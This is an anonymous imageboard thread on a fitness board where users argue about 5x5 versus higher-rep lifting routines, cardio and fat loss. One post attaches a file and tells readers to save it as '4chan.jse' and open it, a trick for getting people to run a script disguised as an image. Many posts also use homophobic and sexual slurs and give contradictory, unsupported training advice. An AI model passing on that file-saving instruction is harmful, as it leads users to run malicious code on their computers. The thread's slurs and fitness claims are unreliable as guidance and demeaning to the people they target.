File :-(, x, )
Anonymous
How many of people on /fit/ DONT do a 5x5?

I'm thinking I'll see more results (fat loss wise) from doing something like

day 1:back, shoulder
day 2:cardio, abs
day 3:bi, chest
day 4:cardio, abs
day 5:back, tri
day 6:legs/make up day
day 7: off

just feels like going into the gym and leaving after 4 exercises isnt enough, or do you guys add shit into your 5x5 routine? like abs, obqliues, ect.
>> Anonymous
no faggot its plenty, if you are squatting the correct amount of weight for you, you would not have the energy or strength left to do any of that crap.

this doesnt mean leg press, or loading up the smith machine, it means putting the plates on the fucking bar and going down like you're a chinese hooker giving a blowjob on the titanic.
>> Anonymous
I don't.

Day 1: Warm-up, stretch, Run 2 miles or Bike 6 miles, 30 minute break
Dumbell curls
Dumbell military presses
Dumbell tricep curls
sets of 8 reps, 8 reps, 10 reps
30-30-40 pushups
20-20-25 bench (only have 35 lb dumbells and no barbell so bench is light, so more reps.)
3-3-4 pound forearm wrist roll
20-20-30 no weight squats
AB RIPPER X
Day 2: Rest, bike or walk somewhere to keep active.
Day 3: REPEAT
>> Anonymous
>>292851
yea I know, i've kept up with my stronglifts 5x5 and the squats kick my ass every time

just saying fat loss wise i would benefit more from something of a routine like that, then when I'm content I switch back to stronglifts for mussle gains

ive just never heard of 5x5 till I came to /fit/, and reading other bodybuilding boards I haven't seen it too popularized there either, all throughout highschool we did routines like this and it worked no matter what the sport was

if 5x5 IS better though I'll do it, I just need to incorporate cardio in my inbetween days and it might be rough to do that seeing as i squat 3 times a week
>> Anonymous
if you are exercising and eating healthy consistently you will loose fat
>> I'M SCREAMING RIGHT NOW !!HUxRhmPO+Zr
I DON'T DO THAT SHIT. I DO PURE BODY WEIGHT EXERCISES AND HAVE THE BODY OF.. WELL, I HAVE A REALLY IMPRESSIVE PHYSIQUE. IN BEFORE EVERYONE SAYS I'M A LIAR OR WHATEVER.
>> Anonymous
Not OP- So is 5x5 best for fat lose?
>> Anonymous
>>292882
/fit/ will tell you 5x5 is best for gaining strength. They will also swear by HIIT.
>> Anonymous
>>292867
NOT IF YOU EAT ABOVE YOUR CALORIC INTAKE

CLEAN OR NOT
>> Anonymous
you fail. never do backs and shoulders. you can do cardio with abs but i wouldn't recommend it. biceps and chest is dumb b/c you hit your biceps when you workout your back. back and triceps is another no no because you hit the triceps when you do chest.
better plan:
day 1: cardio in the morning or hours before lifting. do Back (which would involve the biceps) and abs.
day 2: if you want do a light cardio hours before lifting. Do Chest (hits triceps also). do incline decline regular whatever floats your boat spread it out.
day 3: rest
day 4: can hit shoulders and just shoulders because a lot of ppl tend to neglect them and they shouldn't so keep a special day for them. you can also do a cardio (similar to day one) prior to doing weights.
day 5: do the legs and the upper body in general. this would include squatz brah (which hit the abs). seriously. they are an important exercise that will promote overall uniformity in your body. do not run.
day 6: rest.
day 7: see day 1
>> Anonymous
I just deadlift as heavy as I can casually every day whenever I feel like it. Then every few days I'll do pullups and hit the bench. I find this adequate with cardio on the side.
>> Anonymous
not OP but could you (>>292897) go into more indepth about those

like what exercises specifically on those days
>> Anonymous
     File :-(, x)
>> Anonymous
>>292893
rly
>> Anonymous
day 1:squats
day 2:squats
day 3:squats
day 4:squats
day 5:squats
day 6:squats

fixed
>> Anonymous
I dont, I stick to 20lb max and just use the machines at my gym. I dont wanna get big.

in b4 toned fag
>> Anonymous
>>292907
292897 here. listen i would like to help you but as soon as i started thinking about it i realized that it was gonna become an essay. its mad late where im at and the last thing i wanna do is start writing something that may or may not be taken seriously. but look at what i wrote down and try to do 4 specific exercises down for each muscle group that i put down for the days. try to get a pattern going. i.e. do the exercises at 3x10 until you feel comfortable and then switch it up a little bit (trick your body) by doing the harder 5x5. then switch it right back. always strive to trick your body or you're gonna hit a plateau and those drive ppl crazy, you do not want to hit one of those. when doing the 3x10s rest for a minute and when doing the 5x5s rest for two. when doing the legs, do squats and deadlifts and rest for as much time as you want but never longer than 3 minutes and never run on these days. if you do the runs do them way before weight lifting and make sure you at least have a meal in between. if you wanna make cardiovascular and strength strides at the same time i'd say try to train your body to run for at least an hour at a pace that you can maintain without feeling dizzy at the end (it's no shame if you can't do more than 10 mins at first keep working at it) and start ingesting a lot of proteins along with a bunch of good carbs. this might mean that you will be ingesting more than 4,000 calories a day. this set up will get u military strong if done right.
>> Anonymous
3x10.

It's how I learned, its how I train, its how Arnold and most other body builders trained. 3 or 4 sets of 10-12 reps.
>> Anonymous
http://fitness.scoobysworkshop.com/schedadvanced.htm
>> Anonymous
     File :-(, x)
1. Open this image. You will see an error message.
2. Save it with the filename "4chan.jse".
3. Open the file you just saved.
4. Shit br*icks.
>> Anonymous
I started out doing stronglifts 5x5, then I later decided I wanted more size in my upper body. So I've switched to doing 5x5 of just squats and deads, but 3-4x10 for the rest of the exercises to encourage more increase in size.
>> Anonymous
>>293119
>>293119
that a good split?
>> Anonymous
>>293091
This. Don't listen to the squats for 1,000 reps or stronglifts bullshit. The only good thing the people here on /fit/ know about is HIIT. 3-4 sets of 8-12 reps is the way to go for optimal growth. Sometimes you may want to go a little heavier and do about 4-6 reps but that's it. 5x5 is retarded as fuck.
>> Anonymous
>>293804
ITT: Newfag weightlifters try to give other newfag weightlifters advice.
>> Anonymous
>>293804

oh so 3x12 is a good idea? I do 10x10.. should I drop the count and raise the weight? 5x5 always sounded gay to me so I tried 10x10 and its ok atm.
>> Anonymous
>>293804

Enjoy your waterbag muscles.
>> Anonymous
>>293091
This.

Even my physiotherapist made me do this to build BULK before my knee operation.
>> Anonymous
>>293810
Actually buddy, I'm an advanced weightlifter so stfu.

>>293812
Do 3-4 sets. First do a real light warm up set to get blood flowing to your muscles. Then put on a moderately heavy weight and do about 10-12 reps. Next set add some more weight and do 10 reps. It should be a bit of a challenge to get the 10th rep. Last set you should use a weight that would be impossible for you to do 10 reps with and do 8 reps if you can.
>> ZC !ZcFit7DWNs
>>292844
My team got fairly good results from a Westside style plan. Find one at T-nation. Squatting and benching twice a week feels great.

You can also try a Sheiko layout, but for that, you need a shit ton of muscular endurance and your recovery time has to be really well developed... otherwise you'll probably just end up losing strength, getting sick, etc.
>> Anonymous
>>293818
Lol. You obviously have no idea what you're talking about.
>> Anonymous
>>293821
>Actually buddy, I'm an advanced weightlifter so stfu.
Sure you are. Enjoy doing your curls and over 9000 reps of squats.
>> Anonymous
>>293827
Well I've been lifting for about 3 years but ok. Go ahead and show your ignorance. This is why we can't have nice things. Because faggots have to try to glorify themselves and post comments insulting others in order to make up for their lack of knowledge. Contrary to what you may think, some people here on /fit/ actually have lifting experience. OMGZ! I know! Holy shit he didn't get his info from books that have been cited over 9000 times! He actually has experience! Shocking isn't it?
>> Anonymous
>>293831
Let me guess, you're also a 6'4 olympic weightlifter and a streetfighting god, right?
>> Anonymous
>>293835
Nope. Again, more ignorance. Why? Why such ignorance? I came here to give people advice and you have to make such ignorant comments. I don't care for fighting and I'm not a giant olympic weightlifter. I'm an average guy who enjoys weight lifting and has ample experience. So if you don't mind, let me give advice without being harassed.
>> Anonymous
>>293840
Ok I'm sorry sir, I didn't realize how rude I was being a sincerely apologize. Please continue.
>> Anonymous
>>293843
what just happened
>> Anonymous
>>293831

3 years of weight lifting and you call yourself 'advanced'? pretentious fag

>>293091

also don't forget to take roids, cuz ahnuld and all the other bodybuilder's did it, too
>> Anonymous
>>292844
Those four exercises incorporate more muscles than you would on your first and second day combined.
You aren't going to grow at all. ONE day devoted to legs? Legs are half your body. You're a true moron.
>> Anonymous
>>293861
Hmn...more ignorance. It doesn't take 35 years to be an advanced weight lifter. Anybody else want to be ignorant? Seems you guys are in pretty high numbers today. What do YOU know about weight lifting? You call me a pretentious fag because I have weight lifting experience but you fail to tell us your accomplishments. Please, do tell.
>> Anonymous
ITT: Fat guys trolling other fat guys
>> Anonymous
biceps and chest? you've never worked out before have you?

it's biceps and back, and chest and triceps
>> Anonymous
5x5 are for pussies.
>> Anonymous
I do one warmup set of 15 at half the weight, then a single set of 8-12.

I don't think further sets are worth the time. The studies that have been done in this area seem to suggest the extra sets don't produce any real benefit in terms of strength/hypertrophy.
>> Anonymous
so what is this argument of 3x12 vs 5x5

how come one group of people are saying one is da bess for optimal growth and other are saying the same for the 5x5

are they both good for optimal growth or is one better? wtffff
>> Anonymous
>>293119
FUCK YEA SCOOBY

anyone else think that guy does roids?
>> Anonymous
>>294109

Nah, he takes the cock hardcore though.
>> Anonymous
IS DAT SUM CHEV CHELIOS
>> Anonymous
>>293119
>Doing heavy weights with a single rep max or very few reps (less than 5) might be good for developing strength but it sure take a toll on the joints. Personally, I try to limit heavy lifting like this to two week periods done twice a year.
LOL
>> sasuke
Wathever is your goal, you have to begin with 5x5 to reach a basic physical foundation. This is specialy true for bodybuilding.
>> Anonymous
>>294154
so what, is it not bad for your joints ?
>> Theodore Roosevelt
>>294157

sasuke knows what's up.
>> Anonymous
No faggots.
If starting and by starting i mean having not lifted weights for a year. Make sure to start slow. Do more reps 12-15
but do em slow and watch the form. its like building a house. you need to tone the muscle and get it used to doing mechanical work. (build the foundation)
and only after doing all the primary musclegroups slowly for about a month or so. start adding weight an reducing reps. now this is a personal thing. how someone likes it. some like it 5x5. some like it 3x12
i like it 4x8 and for core exercises(sit-ups, pushups) what not. i go with 2x40
In the end you can go both ways. the results will not vary drastically. by doing 3x12 you'll build more anaerobic stamina and muscles will be toned more.
by doing 5x5 you get more strength and will be able to lift more once. and the muscle will be more softer (not that toned). so it's up to you. choose what you like. what feels best for you.